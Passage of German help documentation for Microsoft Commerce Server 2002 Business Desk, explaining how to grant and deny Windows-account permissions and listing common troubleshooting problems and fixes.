Durch das Erstellen von Windows-Gruppen können Sie mehreren Benutzern gleichzeitig Rechte und Berechtigungen zuweisen. Systemadministratoren können vorhandenen Gruppen jederzeit weitere Benutzer hinzufügen und dabei die der Gruppe gewährten Rechte und Berechtigungen auf die neuen Benutzer übertragen. Wenn der Systemadministrator ein Windows-Konto erstellt, kann er den Zugriff auf den lokalen Server (lokales Konto) oder auf eine Windows-Domäne (Domänenkonto) gewähren.

Hinweise

  • Wenn ein Windows-Konto nicht in der Kontenliste des Moduls "Berechtigungen" aufgeführt ist oder dem Konto keine Berechtigungsoption zugeordnet wurde, kann über dieses Konto nicht auf Business Desk zugegriffen werden.
  • Wenn die Kontenliste des Moduls "Berechtigungen" ein Windows-Konto enthält, das nicht mehr vorhanden ist, wird Benutzern, die diesem Konto zugeordnet sind, jeder Zugriff auf die Business Desk-Kategorien und -Module verweigert.

Siehe auch

Erstellen von Windows-Konten

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste

Entfernen von Windows-Konten aus der Kontenliste

Anzeigen von Kontoberechtigungen


Berechtigungen in Business Desk

Mithilfe des Moduls "Berechtigungen" gewähren bzw. verweigern Sie den Zugriff von Windows-Benutzerkonten auf die Business Desk-Funktionen.

Mit Berechtigungen werden die Aktionen festgelegt, die ein Benutzer mithilfe von Business Desk ausführen kann. Sie möchten beispielsweise einigen Benutzern die Berechtigung zum Erstellen von Katalogen, zum Ändern von Katalogeigenschaften oder zum Exportieren von Produktkatalogen einräumen. Andere Benutzer wiederum sollen vielleicht nur zum Anzeigen des Produktkatalogs berechtigt sein. Berechtigungen werden grundsätzlich an Windows-Benutzerkonten oder -gruppen vergeben.

Sie können für alle Profileigenschaften, Produktkataloge, Katalogkategorien oder Katalogeigenschaften Zugriffsrechte gewähren oder verweigern. Darüber hinaus haben Sie die Möglichkeit, jede Business Desk-Kategorie bzw. jedes Business Desk-Modul sowie die zugeordneten Tasks zu sichern. Für alle im Bildschirm Sicherheitsberechtigungen aufgelisteten Elemente stehen die beiden Optionen Zulassen oder Verweigern zur Verfügung

Hinweise

  • Die Option Verweigern setzt die Option Zulassen immer außer Kraft. Auf diese Weise können Sie Berechtigungen entfernen, die ein Benutzer durch eine Gruppenmitgliedschaft geerbt hat.

    Angenommen, Cornelia Kunze ist Mitglied der Windows-Gruppe Kataloge, und Sie möchten jedem Mitglied der Gruppe außer ihr den Zugriff auf das Katalog-Editor-Modul ermöglichen. In diesem Fall würden Sie der Gruppe Kataloge den Zugriff auf das Katalog-Editor-Modul gewähren und anschließend die Berechtigungen, die dem Benutzerkonto von Cornelia Kunze zugewiesen sind, verweigern. Dies hätte zur Folge, dass Cornelia Kunze nicht mehr auf das Katalog-Editor-Modul, wohl aber auf alle anderen Module zugreifen könnte, für die der Gruppe Kataloge Zugriffsrechte gewährt wurden.

  • Administratoren und alle Mitglieder der lokalen Administratorgruppe (oder der Domänenadministratorgruppe, wenn Business Desk auf einem Domänencontroller ausgeführt wird) haben immer vollständigen Zugriff auf alle Business Desk-Elemente. Das Hinzufügen eines Administrators zu den Benutzergruppen ist nicht möglich.

Siehe auch

Erstellen von Windows-Konten

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste

Entfernen von Windows-Konten aus der Kontenliste

Anzeigen von Kontoberechtigungen


Tipps zur Vergabe von Berechtigungen

Systemadministratoren und Businessmanagern werden beim Implementieren die folgenden Vorgehensweisen empfohlen:

  • Mithilfe der Business Desk-Sicherheitseinstellung für die Schaltfläche "Neuer Bericht" können Sie sowohl die Schaltfläche "Neuer Bericht" als auch die Schaltfläche "Bericht speichern" in den dynamischen Berichten steuern.

    Wenn Sie Benutzern keine Berechtigungen zum Erstellen von neuen Berichten zuweisen, können diese keine Berichte speichern.

    Mithilfe neuer Berichtsberechtigungen ist ein Business Desk-Benutzer in der Lage, SQL-Berichtsabfragen im Data Warehouse zu speichern. Diese Abfragen können von jedem Benutzer ausgeführt werden, der den Bericht ausführt. Auch wenn ein Benutzer, der einen Bericht erstellt hat, keine direkte Berechtigung zum Ausführen der Berichtsabfrage hat, kann er den Bericht weiterhin im Data Warehouse speichern. Benutzer mit höheren SQL-Berechtigungen könnten die Abfrage beim Ausführen des Berichts stellen, ohne zu ahnen, dass diese möglicherweise eine schädigende Auswirkung haben kann.

  • Um Daten in Analyseberichten vor unerwünschtem Zugriff zu sichern, müssen Sie Berechtigungen für Analyseberichte und das Modul "Listen-Manager" vergeben.

    Wenn Benutzer über die Berechtigung zum Verwenden des Moduls "Kampagnen-Manager" verfügen, können sie mit diesem Modul einen Bericht in den Listen-Manager exportieren und dann auf die Benutzerdaten in dieser Liste zugreifen.

    Um die Benutzerdaten in diesem Szenario zu sichern, muss Benutzern ausdrücklich die Berechtigung verweigert werden, Berichte in das Listen-Manager-Modul zu exportieren.

  • Verwenden Sie zum Sichern von Katalogkategorien das Modul "Katalog-Editor".

    Anweisungen finden Sie unter Bearbeiten einer Kategorie in einem Basiskatalog.

  • Weisen Sie Berechtigungen zu, die das Ändern von Katalogeigenschaften und das Erstellen von Katalogen ermöglichen bzw. verhindern.

    Auf Eigenschaftenebene vorgenommene Sicherheitseinstellungen gelten für alle Kataloge. Sicherheitseinstellungen können auf Eigenschaftsebene nicht für einzelne Kataloge festgelegt werden. Wenn ein Benutzer beispielsweise nicht zum Ändern der Eigenschaft Beschreibung berechtigt ist, kann er diese Eigenschaft in keinem Katalog ändern, unabhängig davon, ob es sich um einen virtuellen oder um einen Basiskatalog handelt.

    Wenn ein Benutzer zum Erstellen eines virtuellen Katalogs berechtigt ist, darf er diesem Katalog auch Produkte hinzufügen.

    Die Sicherheitseinstellungen für Kategorien und Kataloge verhindern, dass Benutzer einen bestimmten Katalog oder eine bestimmte Kategorie (und die dazugehörigen Produkte) einfach ändern können. Dessen ungeachtet sind die Benutzer trotzdem in der Lage, die Artikel in einen virtuellen Katalog aufzunehmen.

  • Windows-Konten mit Business Desk-Berechtigungen sollten vor dem Packen einer Site überprüft werden.

    Wenn Sie eine Site mithilfe von Commerce Server Site Packager entpacken, werden gleichzeitig die Windows-Konten mit Business Desk-Berechtigungen entpackt.

    Beispiel: Sie haben Commerce Server auf einem Computer installiert und fügen lokale Gruppen und Konten hinzu. Wenn Sie die Site nun packen und auf einem anderen Computer wieder entpacken, werden die Konten ebenfalls entpackt. Beim Öffnen von Business Desk sind die Berechtigungen aktiv.


Erstellen von Windows-Konten

Mithilfe des Moduls "Berechtigungen" gewähren oder verweigern Sie Benutzern den Zugriff auf Business Desk-Funktionen. Um Business Desk-Berechtigungen einrichten zu können, muss der Systemadministrator zunächst Windows-Konten auf einem Windows-Server oder in einer Windows-Domäne erstellen.

Lassen Sie vom Systemadministrator die benötigten Windows-Benutzerkonten bzw. -Gruppenkonten einrichten. Weitere Informationen zum Erstellen von Windows-Konten finden Sie unter "Lokale Benutzer und Gruppen" und "Active Directory-Benutzer und -Computer" in der Hilfe zu Microsoft Windows 2000.

Siehe auch

Informationen über Business Desk-Sicherheit

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste

Entfernen von Windows-Konten aus der Kontenliste

Anzeigen von Kontoberechtigungen


Hinzufügen von Windows-Konten zur Kontenliste

Mithilfe des Moduls "Berechtigungen" müssen Sie der Kontenliste des Moduls "Berechtigungen" zunächst Windows-Konten und -Gruppen hinzufügen, bevor Sie Business Desk-Berechtigungen einrichten können. Die Kontenliste des Moduls "Berechtigungen" enthält die vom Systemadministrator erstellten Windows-Konten und -Gruppen.

Hinweise

  • Wenn ein Windows-Konto nicht in der Kontenliste des Moduls "Berechtigungen" aufgeführt ist oder dem Konto keine Berechtigungsoption zugeordnet wurde, kann über dieses Konto nicht auf Business Desk zugegriffen werden.
  • Wenn die Kontenliste des Moduls "Berechtigungen" ein Windows-Konto enthält, das nicht mehr vorhanden ist, wird Benutzern, die diesem Konto zugeordnet sind, jeder Zugriff auf die Business Desk-Kategorien und -Module verweigert.

So fügen Sie Windows-Konten zur Kontenliste des Moduls "Berechtigungen" hinzu

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Klicken Sie im Bildschirm Sicherheitsberechtigungen im Bereich Windows-Konto auf Zur Liste hinzufügen.
  3. Geben Sie im Dialogfeld Konto hinzufügen das Windows-Konto ein, für das Sie Berechtigungen hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Business Desk-Startbildschirm zurückzukehren.

Damit wurde das Windows-Konto der Kontenliste des Moduls "Berechtigungen" hinzugefügt.

Siehe auch

Informationen über Business Desk-Sicherheit

Erstellen von Windows-Konten

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Entfernen von Windows-Konten aus der Kontenliste


Einrichten von Business Desk-Berechtigungen für Windows-Konten

Mithilfe des Moduls "Berechtigungen" können Sie Business Desk-Benutzern auf der Grundlage ihrer Windows-Konten Zugriffsberechtigungen gewähren, verweigern oder diese ändern. Um Berechtigungen für ein Windows-Konto einrichten zu können, müssen Sie das Konto der Kontenliste des Moduls "Berechtigungen" hinzufügen.

Sie haben die Möglichkeit, den Zugriff auf beliebige Business Desk-Kategorien, -Module bzw. -Tasks zu gewähren oder zu verweigern. Darüber hinaus können Sie mithilfe von Berechtigungen den Zugriff auf Ihre Kataloge und Katalogeigenschaften sowie Profile und Profileigenschaften einschränken.

Wenn ein Business Desk-Benutzer Mitglied einer Gruppe ist, die Zugriff auf bestimmte Bereiche hat, und Sie dem Benutzer den Zugriff auf diese Bereiche verweigern möchten, müssen Sie das Konto dieses Benutzers zur Kontenliste des Moduls "Berechtigungen" hinzufügen und für den sicherungsfähigen Task die Option Verweigern auswählen. Die Option Verweigern setzt die Option Zulassen außer Kraft. Ferner können Sie alle Vorteile einer Windows-Gruppe nutzen, ohne dabei die Sicherheit zu gefährden.

Verwenden Sie die Option Verweigern nur, wenn Sie die für ein bestimmtes Mitglied eines Gruppenkontos eingerichteten Berechtigungen entfernen möchten. Wenn Sie den Zugriff auf beliebige Business Desk-Kategorien, -Module oder -Tasks der gesamten Gruppe verweigern möchten, können Sie die Option Zulassen deaktivieren.

Hinweise

  • Wenn Sie Benutzern keine Berechtigungen zum Erstellen von neuen Berichten zuweisen, können diese keine Berichte speichern.

    Mithilfe neuer Berichtsberechtigungen ist ein Business Desk-Benutzer in der Lage, SQL-Berichtsabfragen im Data Warehouse zu speichern. Diese Abfragen können von jedem Benutzer ausgeführt werden, der den Bericht ausführt. Auch wenn ein Benutzer, der den Bericht erstellt hat, keine direkte Berechtigung zum Ausführen der Berichtsabfrage hat, kann er den Bericht weiterhin im Data Warehouse speichern. Benutzer mit höheren SQL-Berechtigungen könnten die Abfrage beim Ausführen des Berichts stellen, ohne zu ahnen, dass diese möglicherweise eine schädigende Auswirkung haben kann.

  • Administratoren und alle Mitglieder der lokalen Administratorgruppe (oder der Domänenadministratorgruppe, wenn Business Desk auf einem Domänencontroller ausgeführt wird) haben standardmäßig vollständigen Zugriff auf alle Business Desk-Elemente.
  • Wenn sich ein Business Desk-Benutzer, der gleichzeitig auf einem anderen Business Desk-Webserver Mitglied einer lokalen Gruppe mit definierten Berechtigungen ist, mit einem Domänenkonto beim Netzwerk anmeldet, gelten für ihn nicht die Berechtigungen der lokalen Gruppe.
  • Sie können Benutzern auch die Berechtigung zum Ausführen von Berichten verweigern. Wenn Benutzer jedoch über die Berechtigung zum Verwenden des Moduls "Kampagnen-Manager" verfügen, können sie mit diesem Modul einen Bericht in den Listen-Manager exportieren und dann auf die Benutzerdaten in dieser Liste zugreifen.

    Um die Benutzerdaten in diesem Szenario zu sichern, müssen Sie den Benutzern entweder ausdrücklich die Berechtigung zum Exportieren von Berichten in das Modul "Listen-Manager" verweigern oder die Schaltfläche Berichte anzeigen im Modul "Kampagnen-Manager" deaktivieren.

So legen Sie Berechtigungen für Windows-Konten fest

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Wählen Sie im Bildschirm Sicherheitsberechtigungen im Dropdownfeld Windows-Konto das Windows-Konto in der Kontenliste des Moduls "Berechtigungen" aus, für das Sie Berechtigungen hinzufügen möchten.
  3. Nehmen Sie im Bildschirm Sicherheitsberechtigungen im Abschnitt Sicherungsfähige Entitäten die folgenden Einstellungen vor:
    Funktion | Aktion
    Bereich – Entität Zeigt alle Katalog- und Profilentitäten an, die geschützt werden können. Sie können Kataloge, Katalogeigenschaften und Profildefinitionen schützen.

    Zum Sichern von Katalogkategorien verwenden Sie das Modul "Katalog-Editor". Anweisungen finden Sie unter Bearbeiten einer Kategorie in einem Basiskatalog.
    Zulassen | Wählen Sie dieses Kontrollkästchen, um dem ausgewählten Windows-Konto bzw. der ausgewählten Windows-Gruppe den Zugriff auf die entsprechende Entität zu ermöglichen.
    Verweigern | Wählen Sie dieses Kontrollkästchen, um dem ausgewählten Windows-Konto bzw. der ausgewählten Windows-Gruppe den Zugriff auf die entsprechende Entität zu verweigern. Die Option Verweigern setzt die Option Zulassen außer Kraft.
    Konten auflisten Klicken Sie für die zugeordnete Entität auf Auslassungsschaltfläche, um die Berechtigungseinstellungen für alle Windows-Konten anzuzeigen, die der Kontenliste des Moduls "Berechtigungen" zugeordnet wurden.

    Im Dialogfeld Konten können Sie den Zugriff auf die verfügbaren Konten gewähren bzw. verweigern und der Kontenliste des Moduls "Berechtigungen" neue Windows-Konten hinzufügen.

    Wenn Sie neue Windows-Konten hinzufügen oder Benutzer zu einer Gruppe hinzufügen bzw. daraus löschen möchten, wenden Sie sich an Ihren Systemadministrator.
    Details Klicken Sie auf diese Schaltfläche, um detaillierte Sicherheitsoptionen für die einzelnen Entitäten anzuzeigen.

    Im Bildschirm Berechtigungsdetail: Entität wird der Task angezeigt, der ausgeführt werden kann, beispielsweise Bearbeiten. Anschließend werden alle Elemente aufgelistet, für die Sie den Benutzern die Bearbeitungsberechtigungen gewähren oder verweigern können.

    Klicken Sie auf Zurück, um zum Bildschirm Sicherheitsberechtigungen zurückzukehren.
  4. Erweitern Sie im Bildschirm Sicherheitsberechtigungen den Bereich Zugriff auf Business Desk-Kategorien, -Module und -Tasks, und führen Sie die folgenden Aktionen aus:
    Funktion | Aktion
    Zulassen | Wählen Sie dieses Kontrollkästchen, um dem ausgewählten Windows-Konto bzw. der ausgewählten Windows-Gruppe den Zugriff auf die entsprechende Entität zu ermöglichen.
    Verweigern | Wählen Sie dieses Kontrollkästchen, um dem ausgewählten Windows-Konto bzw. der ausgewählten Windows-Gruppe den Zugriff auf die entsprechende Entität zu verweigern. Die Option Verweigern setzt die Option Zulassen außer Kraft.
    Konten auflisten Klicken Sie für die zugeordnete Entität auf Auslassungsschaltfläche, um die Berechtigungseinstellungen für alle Windows-Konten anzuzeigen, die der Kontenliste des Moduls "Berechtigungen" zugeordnet wurden.

    Im Dialogfeld Konten können Sie den Zugriff auf die verfügbaren Konten gewähren bzw. verweigern und der Kontenliste des Moduls "Berechtigungen" neue Windows-Konten hinzufügen.

    Wenn Sie neue Windows-Konten hinzufügen oder Benutzer zu einer Gruppe hinzufügen bzw. daraus löschen möchten, wenden Sie sich an Ihren Systemadministrator.
    Taskberechtigungen Klicken Sie auf diese Schaltfläche, um Berechtigungen zum Ausführen bestimmter Tasks für das ausgewählte Business Desk-Modul anzuzeigen, zu gewähren oder zu verweigern.

    Im Bildschirm Berechtigungsdetail: Business Desk-Kategorie wird die Aktion angezeigt, die ausgeführt werden kann, beispielsweise neu. Anschließend werden alle Seiten und Tasks aufgeführt, für die Sie den Benutzern die Berechtigung zum Erstellen einer neuen Entität gewähren oder verweigern können.

    Wenn Sie beispielsweise verhindern möchten, dass ein Benutzer neue Entitäten erstellen kann, wählen Sie für die Tasks Neu und Speichern und neu die Option Verweigern. Wenn nur der Task Neu verweigert wird, kann der Benutzer die neue Entität trotzdem erstellen, indem er auf die Aufgabenschaltfläche Speichern und neu klickt.

    Klicken Sie auf Zurück, um zum Bildschirm Sicherheitsberechtigungen zurückzukehren.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Business Desk-Startbildschirm zurückzukehren.

Wichtig

  • Wenn Sie die Berechtigungen eines Business Desk-Benutzers geändert haben, werden diese erst wirksam, nachdem der Benutzer Business Desk geschlossen und erneut gestartet hat.

    Wenn die Windows-ID (Gruppenmitgliedschaften, Berechtigungen, ACLs usw.) für den Benutzer geändert wurden, muss dieser sich ab- und anschließend wieder anmelden, damit die Änderungen auf dem Server wirksam werden. (Andernfalls arbeitet zwar der Client ordnungsgemäß, der Server jedoch nicht.)

Siehe auch

Informationen über Business Desk-Sicherheit

Erstellen von Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste

Entfernen von Windows-Konten aus der Kontenliste

Anzeigen von Kontoberechtigungen


Entfernen von Windows-Konten aus der Kontenliste

Mithilfe des Moduls "Berechtigungen" können Sie Windows-Konten aus der Kontenliste des Moduls "Berechtigungen" entfernen. Nachdem das Windows-Konto eines Benutzers aus der Kontenliste des Moduls "Berechtigungen" entfernt wurde, kann dieser Benutzer nicht mehr auf Business Desk zugreifen.

Dabei werden gleichzeitig alle Berechtigungen für gelöschte Konto entfernt.

So entfernen Sie Windows-Konten aus der Kontenliste des Moduls "Berechtigungen"

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Wählen Sie im Bildschirm Sicherheitsberechtigungen im Dropdownfeld Windows-Konto das Windows-Konto in der Kontenliste des Moduls "Berechtigungen" aus, das Sie entfernen möchten, und klicken Sie auf Aus Liste entfernen.
  3. Klicken Sie im Dialogfeld Konto entfernen zur Bestätigung auf Ja.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Business Desk-Startbildschirm zurückzukehren.

Damit wurde das Windows-Konto aus der Kontenliste des Moduls "Berechtigungen" entfernt.

Siehe auch

Informationen über Business Desk-Sicherheit

Erstellen von Windows-Konten

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste


Anzeigen von Kontoberechtigungen

Mithilfe des Moduls "Berechtigungen" verwalten Sie Berechtigungen für Windows-Konten. Sie können beispielsweise bereits festgelegte Kontoberechtigungen anzeigen und diese ggf. verändern.

So zeigen Sie Berechtigungen für Windows-Konten an

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Wählen Sie im Bildschirm Sicherheitsberechtigungen im Dropdownfeld Windows-Konto das Windows-Konto in der Kontenliste des Moduls "Berechtigungen" aus, für das Sie Berechtigungen anzeigen möchten.
  3. Nehmen Sie im Bildschirm Sicherheitsberechtigungen im Abschnitt Sicherungsfähige Entitäten die folgenden Einstellungen vor:
    Funktion | Aktion
    Bereich – Entität Zeigt alle Katalog- und Profilentitäten an, die geschützt werden können. Sie können Kataloge, Katalogeigenschaften und Profildefinitionen schützen.

    Verwenden Sie zum Sichern von Katalogkategorien das Modul "Katalog-Editor". Anweisungen finden Sie unter Bearbeiten einer Kategorie in einem Basiskatalog.
    Zulassen | Zeigt alle Entitäten an, denen der vollständige Zugriff auf das ausgewählte Windows-Konto oder die Windows-Gruppe gewährt wurde.
    Verweigern | Zeigt alle Entitäten an, denen der Zugriff auf das ausgewählte Windows-Konto oder die Windows-Gruppe verweigert wurde.
    Konten auflisten Klicken Sie für die zugeordnete Entität auf Auslassungsschaltfläche, um die Berechtigungseinstellungen für alle Windows-Konten anzuzeigen, die der Kontenliste des Moduls "Berechtigungen" zugeordnet wurden.

    Im Dialogfeld Konten können Sie den Zugriff auf die verfügbaren Konten gewähren bzw. verweigern und der Kontenliste des Moduls "Berechtigungen" neue Windows-Konten hinzufügen.

    Wenn Sie neue Windows-Konten hinzufügen oder Benutzer zu einer Gruppe hinzufügen bzw. daraus löschen möchten, wenden Sie sich an Ihren Systemadministrator.
    Details Klicken Sie auf Details und dann auf Auslassungsschaltfläche , um detaillierte Sicherheitsoptionen für die einzelnen Entitäten anzuzeigen.

    Im Bildschirm Berechtigungsdetail: Entität wird der Task angezeigt, der ausgeführt werden kann, beispielsweise Bearbeiten. Anschließend werden alle Elemente aufgelistet, für die Sie den Benutzern die Bearbeitungsberechtigungen gewähren oder verweigern können.

    Klicken Sie auf Zurück, um zum Bildschirm Sicherheitsberechtigungen zurückzukehren.
  4. Erweitern Sie im Bildschirm Sicherheitsberechtigungen den Bereich Zugriff auf Business Desk-Kategorien, -Module und -Tasks, und führen Sie die folgenden Aktionen aus:
    Funktion | Aktion
    Zulassen | Zeigt alle Entitäten an, denen der vollständige Zugriff auf das ausgewählte Windows-Konto oder die Windows-Gruppe gewährt wurde.
    Verweigern | Zeigt alle Entitäten an, denen der Zugriff auf das ausgewählte Windows-Konto oder die Windows-Gruppe verweigert wurde.
    Konten auflisten Klicken Sie für die zugeordnete Entität auf Auslassungsschaltfläche, um die Berechtigungseinstellungen für alle Windows-Konten anzuzeigen, die der Kontenliste des Moduls "Berechtigungen" zugeordnet wurden.

    Im Dialogfeld Konten können Sie den Zugriff auf die verfügbaren Konten gewähren bzw. verweigern und der Kontenliste des Moduls "Berechtigungen" neue Windows-Konten hinzufügen.

    Wenn Sie neue Windows-Konten hinzufügen oder Benutzer zu einer Gruppe hinzufügen bzw. daraus löschen möchten, wenden Sie sich an Ihren Systemadministrator.
    Taskberechtigungen Klicken Sie auf diese Schaltfläche, um Berechtigungen zum Ausführen bestimmter Tasks für das ausgewählte Business Desk-Modul anzuzeigen, zu gewähren oder zu verweigern.

    Im Bildschirm Berechtigungsdetail: Business Desk-Kategorie wird die Aktion angezeigt, die ausgeführt werden kann, beispielsweise neu. Anschließend werden alle Seiten und Tasks aufgeführt, für die Sie den Benutzern die Berechtigung zum Erstellen neuer Entitäten gewähren oder verweigern können.

    Wenn Sie beispielsweise verhindern möchten, dass ein Benutzer neue Entitäten erstellen kann, wählen Sie für die Tasks Neu und Speichern und neu die Option Verweigern. Wenn nur der Task Neu verweigert wird, kann der Benutzer die neue Entität trotzdem erstellen, indem er auf die Aufgabenschaltfläche Speichern und neu klickt.

    Klicken Sie auf Zurück, um zum Bildschirm Sicherheitsberechtigungen zurückzukehren.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Willkommen bei Business Desk zurückzukehren.

Siehe auch

Informationen über Business Desk-Sicherheit

Erstellen von Windows-Konten

Hinzufügen von Windows-Konten zur Kontenliste

Einrichten von Business Desk-Berechtigungen für Windows-Konten

Entfernen von Windows-Konten aus der Kontenliste


Problembehandlung bei Business Desk

Dieser Abschnitt behandelt allgemeine Probleme, die bei der Nutzung von Commerce Server Business Desk auftreten können. Suchen Sie nach einer kurzen Beschreibung des Problems innerhalb des Funktionsbereichs, in dem Sie arbeiten, und folgen Sie dann der Verknüpfung, um ausführlichere Informationen zu erhalten.

Ihre erste Ansprechperson für technische Unterstützung ist gewöhnlich Ihr Systemadministrator oder Siteentwickler. Außerdem können Sie auf Onlinenewsgroups von Microsoft zugreifen. Weitere Informationen zu Commerce Server 2002-Newsgroups finden Sie unter http://go.microsoft.com/fwlink/?LinkId=945.

Die folgende Tabelle führt die Funktionsbereiche von Business Desk auf sowie mögliche Probleme, die bei der Arbeit mit Business Desk auftreten können.

Bereich Problem
Installation
  • Business Desk kann nicht installiert werden
Business Desk
  • &#13; erscheint in Beschreibungsfeldern
  • Meldung "Bibliothek nicht registriert" erhalten
  • Business Desk wird nicht ausgeführt
  • Benutzer ist nicht zum Anzeigen der Seite berechtigt – Anforderung einer erneuten Authentifizierung
  • Fehlermeldung "Business Desk-Zugriffsfehler" erhalten
  • Fehlermeldung "Fehler im Commerce Server-Verwaltungsobjekt: Beschreibung - GlobalConfig:Initialize: Fehler bei der Anmeldung für den Benutzer <Benutzername>"
  • Änderungen werden nicht in der Website angezeigt
  • Es können nicht zwei Instanzen von Business Desk geöffnet werden
  • Volltextsuche in der Hilfe liefert kein Ergebnis
  • Datumsangaben werden nicht korrekt angezeigt
Analyse
  • Berichte können nicht ausgeführt werden
  • Dialogfeld "Ausführung des statischen Berichts" wird weiterhin angezeigt
  • Bericht wird ohne Daten angezeigt
  • Fehler im Bericht "Käuferverhalten bis zum Kauf"
  • Statischer Bericht wird nicht ausgeführt
  • Fehlender Elementname für Schlüsselnummer
  • Auf SQL Server basierende dynamische Berichte verbrauchen sehr viel Speicherplatz
Kampagnen
  • Direct Mailer-Auftrag kann nicht ausgeführt werden
  • Direct Mailer-Auftrag wird nicht ausgeführt, aber es erscheint keine Fehlermeldung
  • Speichern einer Direktsendungskampagne nicht möglich
  • Kampagnenartikel werden nicht wie erwartet in der Website angezeigt
  • Daten werden nicht im Listen-Manager angezeigt
  • Beim Aktualisieren der Website werden neue Kampagnenartikel nicht übernommen
  • Vorschau für Bilddateien kann nicht angezeigt werden
Kataloge
  • Katalog kann nicht importiert werden
  • Katalog kann nicht an einen Handelspartner gesendet werden
  • Datei "Samplecatalog.xml" kann nicht importiert werden
  • Website generiert die Fehlermeldung, dass das Element in der Auflistung nicht gefunden werden kann


Allgemeine Business Desk-Probleme

  • Business Desk kann nicht installiert werden
  • &#13; erscheint in Beschreibungsfeldern
  • Meldung "Bibliothek nicht registriert" erhalten
  • Business Desk wird nicht ausgeführt
  • Benutzer ist nicht zum Anzeigen der Seite berechtigt – Anforderung einer erneuten Authentifizierung
  • Fehlermeldung "Business Desk-Zugriffsfehler" erhalten
  • Änderungen werden nicht in der Website angezeigt
  • Es können nicht zwei Instanzen von Business Desk geöffnet werden
  • Volltextsuche in der Hilfe liefert kein Ergebnis
  • Datumsangaben werden nicht korrekt angezeigt


Business Desk kann nicht installiert werden

Beschreibung

Wenn Sie versuchen, für die Installation von Business Desk Client eine Verbindung mit der Website von Commerce Server Business Desk herzustellen, kann die folgende Meldung angezeigt werden:

Lösung

Wenn Sie Windows XP und Internet Explorer 6.0 verwenden, müssen Sie die Optionen Download von signierten ActiveX-Steuerelementen und Download von unsignierten ActiveX-Steuerelementen aktivieren.

Wenn Sie ein anderes Betriebssystem und Internet Explorer verwenden, aktivieren Sie nur Download von signierten ActiveX-Steuerelementen.

So setzen Sie das Business Desk-Setup fort

  1. Klicken Sie in Internet Explorer auf Extras, und klicken Sie anschließend auf Internetoptionen.
  2. Klicken Sie auf die Registerkarte Sicherheit, wählen Sie die Zone Lokales Intranet, und klicken Sie auf Stufe anpassen.
  3. Aktivieren Sie im Listenfeld Einstellungen unter ActiveX-Steuerelemente und Plugins die Option Download von signierten ActiveX-Steuerelementen. Wenn Sie Windows XP und Internet Explorer 6.0 verwenden, aktivieren Sie auch Download von unsignierten ActiveX-Steuerelementen und ActiveX-Steuerelemente initialisieren und ausführen, die nicht sicher sind.
  4. Klicken Sie auf OK, und klicken Sie anschließend im Dialogfeld Warnung! auf Ja.
  5. Klicken Sie auf OK, um das Dialogfeld Internetoptionen zu schließen.
  6. Klicken Sie auf der Symbolleiste auf Aktualisieren, und setzen Sie dann die Installation von Business Desk fort, indem Sie im Browserfenster den URL von Business Desk eingeben. Beispiel: http://servername/myretailbizdesk.


&#13; erscheint in Beschreibungsfeldern

Beschreibung

Geben Sie mehrere Zeilen in ein Beschreibungsfeld oder ein anderes Feld ein, und klicken Sie dann auf der Symbolleiste auf Speichern und zurück. In der Beschreibungsspalte für das neu erstellte Produkt steht für jeden Wagenrücklauf im Feld die Zeichenfolge &#13;.

Lösung

Dies ist kein Fehler. Commerce Server konvertiert Wagenrückläufe für Datenbankdaten, die an den Business Desk Client gesendet wurden, in die Zeichenfolge &#13;. Wenn die Daten angezeigt werden, wandelt Commerce Server &#13; wieder in Wagenrückläufe um.


Meldung "Bibliothek nicht registriert" erhalten

Beschreibung

Während der Benutzung von Commerce Server Business Desk erhalten Sie die Meldung "Bibliothek nicht registriert".

Lösung

Sie müssen möglicherweise Vbscript.dll im Verzeichnis \winnt\system32 neu registrieren. Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator.


Business Desk wird nicht ausgeführt

Beschreibung

Obwohl Commerce Server Business Desk zuvor fehlerfrei ausgeführt wurde, erhalten Sie beim Versuch des Neustarts eine der folgenden Meldungen:

  • "Fehler beim Laden eines Teils von Business Desk."
  • "Fehler beim Laden der Business Desk-Anwendung."

Lösung

Wenn das Kennwort des Systemadministrators auf dem Webserver mit der Business Desk-Anwendung geändert wurde, kann eine der oben genannten Fehlermeldungen angezeigt werden.


Benutzer nicht zur Anzeige der Seite berechtigt - Anforderung einer erneuten Authentifizierung

Feedback zu dieser Seite senden Commerce Server 2002

Benutzer nicht zur Anzeige der Seite berechtigt – Anforderung einer erneuten Authentifizierung

Beschreibung

Beim Anzeigen einer Seite in Commerce Server Business Desk treten Probleme auf, die sich wie folgt äußern:

  • Business Desk fordert unerwartet zur Eingabe Ihres Benutzernamens und Kennworts auf.
  • Es wird eine Fehlermeldung angezeigt, die besagt, dass der Benutzer keine Berechtigung zum Anzeigen dieser Seite hat.
  • Das Dialogfeld Netzwerkkennwort eingeben wird nach Eingabe der richtigen Anmeldeinformationen erneut angezeigt.

Lösung

Wenn Business Desk auf einem anderen Webserver als Commerce Server ausgeführt wird, kann es vorkommen, dass der Arbeitsspeicher des Servers, auf dem sich Commerce Server befindet, nicht mehr ausreicht. Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator.


Fehlermeldung "Business Desk-Zugriffsfehler" erhalten

Beschreibung

Obwohl Commerce Server Business Desk zuvor fehlerfrei ausgeführt wurde, können Sie das Programm nicht mehr starten. Bei dem Versuch, ein bestimmtes Modul zu öffnen, erhalten Sie die Meldung:

"Business Desk-Zugriffsfehler"

Lösung

